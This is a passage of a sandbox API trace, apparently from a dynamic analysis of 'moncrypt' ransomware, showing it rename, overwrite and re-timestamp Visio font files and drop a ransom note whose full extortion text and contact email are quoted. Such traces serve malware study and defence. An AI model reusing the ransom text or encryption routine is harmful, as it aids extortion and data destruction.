lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 0x54e240 [0055.461] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0055.461] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0055.462] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX", dwFileAttributes=0x20) returned 1 [0055.462] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0055.462] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.moncrypt")) returned 1 [0055.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.463] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.463] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x4f2ea [0055.463] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.463] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0055.466] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.466] GlobalLock (hMem=0x440004) returned 0x55bb88 [0055.466] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0055.466] GlobalUnlock (hMem=0x440004) returned 0 [0055.466] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0055.466] GlobalLock (hMem=0x440004) returned 0x55bb88 [0055.466] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0055.466] GlobalUnlock (hMem=0x440004) returned 0 [0055.466] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0055.466] GlobalLock (hMem=0x440004) returned 0x55bb88 [0055.466] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.467] GlobalUnlock (hMem=0x44000c) returned 0 [0055.467] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0055.467] GlobalUnlock (hMem=0x440004) returned 0 [0055.467] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.467] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.467] GlobalUnlock (hMem=0x440004) returned 0 [0055.467] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0055.467] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.467] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.467] GlobalUnlock (hMem=0x440004) returned 0 [0055.467] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0055.467] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0055.467] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0055.468] SetFilePointer (in: hFile=0x18c, lDistanceToMove=324330, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x4f2ea [0055.468] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0055.470] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0055.470] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0055.482] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0055.482] CloseHandle (hObject=0x18c) returned 1 [0055.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.486] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0055.486] CloseHandle (hObject=0x18c) returned 1 [0055.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.moncrypt", dwFileAttributes=0x20) returned 1 [0055.487] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0055.487] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.487] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.487] GlobalUnlock (hMem=0x440004) returned 0 [0055.487] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.487] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.487] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.487] GlobalUnlock (hMem=0x440004) returned 0 [0055.487] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.487] GlobalUnlock (hMem=0x44000c) returned 0 [0055.487] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0055.487] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a798, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0055.488] GetLastError () returned 0x2 [0055.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.488] WriteFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0055.489] CloseHandle (hObject=0x18c) returned 1 [0055.490] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0055.490] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.490] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.490] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.490] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.490] GlobalUnlock (hMem=0x44000c) returned 0 [0055.490] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.490] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.490] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.490] GlobalUnlock (hMem=0x44000c) returned 0 [0055.490] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.490] GlobalUnlock (hMem=0x440004) returned 0 [0055.490] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.491] CharLowerBuffW (in: lpsz="CHINESET.SHX", cchLength=0xc | out: lpsz="chineset.shx") returned 0xc [0055.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.491] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0055.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX", cchWideChar=78, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHXt", lpUsedDefaultChar=0x0) returned 78 [0055.491] CharLowerBuffW (in: lpsz=".SHX", cchLength=0x4 | out: lpsz=".shx") returned 0x4 [0055.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".shx", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".shxShared\\Visio Shared\\Fonts\\CHINESET.SHXt", lpUsedDefaultChar=0x0) returned 4 [0055.491] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 0x54e240 [0055.492] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0055.492] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0055.492] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX", dwFileAttributes=0x20) returned 1 [0055.493] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0055.493] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.moncrypt")) returned 1 [0055.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.494] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.494] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xa261d [0055.494] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.494] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0055.496] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.496] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.496] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.496] GlobalUnlock (hMem=0x44000c) returned 0 [0055.496] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0055.496] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.496] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.496] GlobalUnlock (hMem=0x44000c) returned 0 [0055.496] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0055.497] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.497] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.497] GlobalUnlock (hMem=0x440004) returned 0 [0055.497] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.497] GlobalUnlock (hMem=0x44000c) returned 0 [0055.497] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.497] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.497] GlobalUnlock (hMem=0x44000c) returned 0 [0055.497] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0055.497] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.497] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.497] GlobalUnlock (hMem=0x44000c) returned 0 [0055.497] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0055.498] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0055.498] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0055.498] SetFilePointer (in: hFile=0x18c, lDistanceToMove=665117, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xa261d [0055.498] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0055.500] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0055.500] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0055.512] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0055.512] CloseHandle (hObject=0x18c) returned 1 [0055.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.522] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0055.522] CloseHandle (hObject=0x18c) returned 1 [0055.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.moncrypt", dwFileAttributes=0x20) returned 1 [0055.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0055.522] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.522] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.522] GlobalUnlock (hMem=0x44000c) returned 0 [0055.523] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.523] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.523] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.523] GlobalUnlock (hMem=0x44000c) returned 0 [0055.523] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.523] GlobalUnlock (hMem=0x440004) returned 0 [0055.523] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0055.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42429200, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x42429200, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42429200, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0055.523] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0055.523] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0055.523] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, 